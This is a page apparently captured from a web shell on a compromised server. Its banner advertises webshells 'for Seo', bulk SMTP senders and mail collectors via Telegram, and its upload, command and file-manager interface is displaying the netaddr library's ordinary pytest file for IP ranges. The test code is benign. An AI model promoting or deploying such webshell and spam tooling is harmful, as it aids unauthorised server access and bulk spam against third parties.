__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
from ast import literal_eval
import pickle
import sys
import sys
import pytest

from netaddr import (
    iter_iprange,
    IPAddress,
    cidr_merge,
    IPNetwork,
    IPRange,
    ZEROFILL,
    AddrFormatError,
)


def test_ip_range():
    ip_list = list(iter_iprange('192.0.2.1', '192.0.2.14'))

    assert len(ip_list) == 14

    assert ip_list == [
        IPAddress('192.0.2.1'),
        IPAddress('192.0.2.2'),
        IPAddress('192.0.2.3'),
        IPAddress('192.0.2.4'),
        IPAddress('192.0.2.5'),
        IPAddress('192.0.2.6'),
        IPAddress('192.0.2.7'),
        IPAddress('192.0.2.8'),
        IPAddress('192.0.2.9'),
        IPAddress('192.0.2.10'),
        IPAddress('192.0.2.11'),
        IPAddress('192.0.2.12'),
        IPAddress('192.0.2.13'),
        IPAddress('192.0.2.14'),
    ]

    assert cidr_merge(ip_list) == [
        IPNetwork('192.0.2.1/32'),
        IPNetwork('192.0.2.2/31'),
        IPNetwork('192.0.2.4/30'),
        IPNetwork('192.0.2.8/30'),
        IPNetwork('192.0.2.12/31'),
        IPNetwork('192.0.2.14/32'),
    ]


def test_iprange():
    range1 = IPRange('192.0.2.1', '192.0.2.15')
    assert range1 == IPRange('192.0.2.1', '192.0.2.15')

    assert range1.cidrs() == [
        IPNetwork('192.0.2.1/32'),
        IPNetwork('192.0.2.2/31'),
        IPNetwork('192.0.2.4/30'),
        IPNetwork('192.0.2.8/29'),
    ]

    assert IPRange('192.0.2.0', '192.0.2.255') == IPNetwork('192.0.2.0/24')

    range2 = IPRange('192.0.2.1', '192.0.2.15')
    addrs = list(range2)

    assert addrs == [
        IPAddress('192.0.2.1'),
        IPAddress('192.0.2.2'),
        IPAddress('192.0.2.3'),
        IPAddress('192.0.2.4'),
        IPAddress('192.0.2.5'),
        IPAddress('192.0.2.6'),
        IPAddress('192.0.2.7'),
        IPAddress('192.0.2.8'),
        IPAddress('192.0.2.9'),
        IPAddress('192.0.2.10'),
        IPAddress('192.0.2.11'),
        IPAddress('192.0.2.12'),
        IPAddress('192.0.2.13'),
        IPAddress('192.0.2.14'),
        IPAddress('192.0.2.15'),
    ]
    assert range2 != addrs

    assert list(range2) == addrs

    subnets = range2.cidrs()
    assert subnets == [
        IPNetwork('192.0.2.1/32'),
        IPNetwork('192.0.2.2/31'),
        IPNetwork('192.0.2.4/30'),
        IPNetwork('192.0.2.8/29'),
    ]

    assert range2 != subnets

    assert range2.cidrs() == subnets


def test_iprange_boundaries():
    assert list(iter_iprange('192.0.2.0', '192.0.2.7')) == [
        IPAddress('192.0.2.0'),
        IPAddress('192.0.2.1'),
        IPAddress('192.0.2.2'),
        IPAddress('192.0.2.3'),
        IPAddress('192.0.2.4'),
        IPAddress('192.0.2.5'),
        IPAddress('192.0.2.6'),
        IPAddress('192.0.2.7'),
    ]

    assert list(iter_iprange('::ffff:192.0.2.0', '::ffff:192.0.2.7')) == [
        IPAddress('::ffff:192.0.2.0'),
        IPAddress('::ffff:192.0.2.1'),
        IPAddress('::ffff:192.0.2.2'),
        IPAddress('::ffff:192.0.2.3'),
        IPAddress('::ffff:192.0.2.4'),
        IPAddress('::ffff:192.0.2.5'),
        IPAddress('::ffff:192.0.2.6'),
        IPAddress('::ffff:192.0.2.7'),
    ]


def test_iprange_boolean_evaluation():
    assert bool(IPRange('0.0.0.0', '255.255.255.255'))
    assert bool(IPRange('0.0.0.0', '0.0.0.0'))


def test_iprange_sorting():
    ranges = (
        (IPAddress('::'), IPAddress('::')),
        (IPAddress('0.0.0.0'), IPAddress('255.255.255.255')),
        (IPAddress('::'), IPAddress('::255.255.255.255')),
        (IPAddress('0.0.0.0'), IPAddress('0.0.0.0')),
    )

    assert sorted(ranges) == [
        (IPAddress('0.0.0.0'), IPAddress('0.0.0.0')),
        (IPAddress('0.0.0.0'), IPAddress('255.255.255.255')),
        (IPAddress('::'), IPAddress('::')),
        (IPAddress('::'), IPAddress('::255.255.255.255')),
    ]


def test_iprange_constructor():
    iprange = IPRange('192.0.2.1', '192.0.2.254')

    assert iprange == IPRange('192.0.2.1', '192.0.2.254')
    assert '%s' % iprange == '192.0.2.1-192.0.2.254'
    assert IPRange('::ffff:192.0.2.1', '::ffff:192.0.2.254') == IPRange(
        '::ffff:192.0.2.1', '::ffff:192.0.2.254'
    )
    assert IPRange('192.0.2.1', '192.0.2.1') == IPRange('192.0.2.1', '192.0.2.1')
    assert IPRange('208.049.164.000', '208.050.066.255', flags=ZEROFILL) == IPRange(
        '208.49.164.0', '208.50.66.255'
    )

    with pytest.raises(AddrFormatError):
        IPRange('192.0.2.2', '192.0.2.1')

    with pytest.raises(AddrFormatError):
        IPRange('::', '0.0.0.1')

    with pytest.raises(AddrFormatError):
        IPRange('0.0.0.0', '::1')


def test_iprange_indexing():
    iprange = IPRange('192.0.2.1', '192.0.2.254')

    assert len(iprange) == 254
    assert iprange.first == 3221225985
    assert iprange.last == 3221226238
    assert iprange[0] == IPAddress('192.0.2.1')
    assert iprange[-1] == IPAddress('192.0.2.254')

    with pytest.raises(IndexError):
        iprange[512]


def test_iprange_slicing():
    iprange = IPRange('192.0.2.1', '192.0.2.254')

    assert list(iprange[0:3]) == [
        IPAddress('192.0.2.1'),
        IPAddress('192.0.2.2'),
        IPAddress('192.0.2.3'),
    ]

    assert list(iprange[0:10:2]) == [
        IPAddress('192.0.2.1'),
        IPAddress('192.0.2.3'),
        IPAddress('192.0.2.5'),
        IPAddress('192.0.2.7'),
        IPAddress('192.0.2.9'),
    ]

    assert list(iprange[0:1024:512]) == [IPAddress('192.0.2.1')]


def test_iprange_ipv6_unsupported_slicing():
    with pytest.raises(TypeError):
        IPRange('::ffff:192.0.2.1', '::ffff:192.0.2.254')[0:10:2]


def test_iprange_membership():
    assert IPRange('192.0.2.5', '192.0.2.10') in IPRange('192.0.2.1', '192.0.2.254')
    assert IPRange('fe80::1', 'fe80::fffe') in IPRange('fe80::', 'fe80::ffff:ffff:ffff:ffff')
    assert IPRange('192.0.2.5', '192.0.2.10') not in IPRange('::', '::255.255.255.255')

    # Reported in https://github.com/netaddr/netaddr/issues/157
    net = IPNetwork('10.0.0.0/30')
    assert net in IPRange(net.first, net.last)


def test_more_iprange_sorting():
    ipranges = (
        IPRange('192.0.2.40', '192.0.2.50'),
        IPRange('192.0.2.20', '192.0.2.30'),
        IPRange('192.0.2.1', '192.0.2.254'),
    )

    assert sorted(ipranges) == [
        IPRange('192.0.2.1', '192.0.2.254'),
        IPRange('192.0.2.20', '192.0.2.30'),
        IPRange('192.0.2.40', '192.0.2.50'),
    ]

    ipranges = list(ipranges)
    ipranges.append(IPRange('192.0.2.45', '192.0.2.49'))

    assert sorted(ipranges) == [
        IPRange('192.0.2.1', '192.0.2.254'),
        IPRange('192.0.2.20', '192.0.2.30'),
        IPRange('192.0.2.40', '192.0.2.50'),
        IPRange('192.0.2.45', '192.0.2.49'),
    ]


def test_iprange_cidr_interoperability():
    assert IPRange('192.0.2.5', '192.0.2.10').cidrs() == [
        IPNetwork('192.0.2.5/32'),
        IPNetwork('192.0.2.6/31'),
        IPNetwork('192.0.2.8/31'),
        IPNetwork('192.0.2.10/32'),
    ]

    assert IPRange('fe80::', 'fe80::ffff:ffff:ffff:ffff').cidrs() == [IPNetwork('fe80::/64')]


def test_iprange_info_and_properties():
    iprange = IPRange('192.0.2.1', '192.0.2.254')

    assert literal_eval(str(iprange.info)) == {
        'IPv4': [
            {
                'date': '1993-05',
                'designation': 'Administered by ARIN',
                'prefix': '192/8',
                'status': 'Legacy',
                'whois': 'whois.arin.net',
            }
        ]
    }

    assert iprange.is_reserved()

    assert iprange.version == 4


def test_iprange_invalid_len_and_alternative():
    range1 = IPRange(IPAddress('::0'), IPAddress(sys.maxsize, 6))

    with pytest.raises(IndexError):
        len(range1)

    range2 = IPRange(IPAddress('::0'), IPAddress(sys.maxsize - 1, 6))
    assert len(range2) == sys.maxsize


def test_iprange_pickling_v4():
    iprange = IPRange('192.0.2.1', '192.0.2.254')
    assert iprange == IPRange('192.0.2.1', '192.0.2.254')
    assert iprange.first == 3221225985
    assert iprange.last == 3221226238
    assert iprange.version == 4

    buf = pickle.dumps(iprange)
    iprange2 = pickle.loads(buf)
    assert iprange2 == iprange
    assert id(iprange2) != id(iprange)
    assert iprange2.first == 3221225985
    assert iprange2.last == 3221226238
    assert iprange2.version == 4


def test_iprange_pickling_v6():
    iprange = IPRange('::ffff:192.0.2.1', '::ffff:192.0.2.254')

    assert iprange == IPRange('::ffff:192.0.2.1', '::ffff:192.0.2.254')
    assert iprange.first == 281473902969345
    assert iprange.last == 281473902969598
    assert iprange.version == 6

    buf = pickle.dumps(iprange)

    iprange2 = pickle.loads(buf)

    assert iprange2 == iprange
    assert iprange2.first == 281473902969345
    assert iprange2.last == 281473902969598
    assert iprange2.version == 6

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
test_cidr_v4.py File 7.4 KB 0644
test_cidr_v6.py File 4.56 KB 0644
test_dns.py File 320 B 0644
test_ip.py File 625 B 0644
test_ip_categories.py File 4.04 KB 0644
test_ip_comparisons.py File 1.39 KB 0644
test_ip_globs.py File 2.09 KB 0644
test_ip_network_categories.py File 547 B 0644
test_ip_ranges.py File 8.57 KB 0644
test_ip_rfc1924.py File 512 B 0644
test_ip_sets.py File 22.68 KB 0644
test_ip_splitter.py File 2.21 KB 0644
test_ip_v4.py File 15.07 KB 0644
test_ip_v4_v6_conversions.py File 1.22 KB 0644
test_ip_v6.py File 5.95 KB 0644
test_network_ops.py File 2.37 KB 0644
test_nmap.py File 3.62 KB 0644
test_old_specs.py File 6.37 KB 0644
test_platform_osx.py File 5.29 KB 0644
test_socket_module_fallback.py File 1.48 KB 0644
Filemanager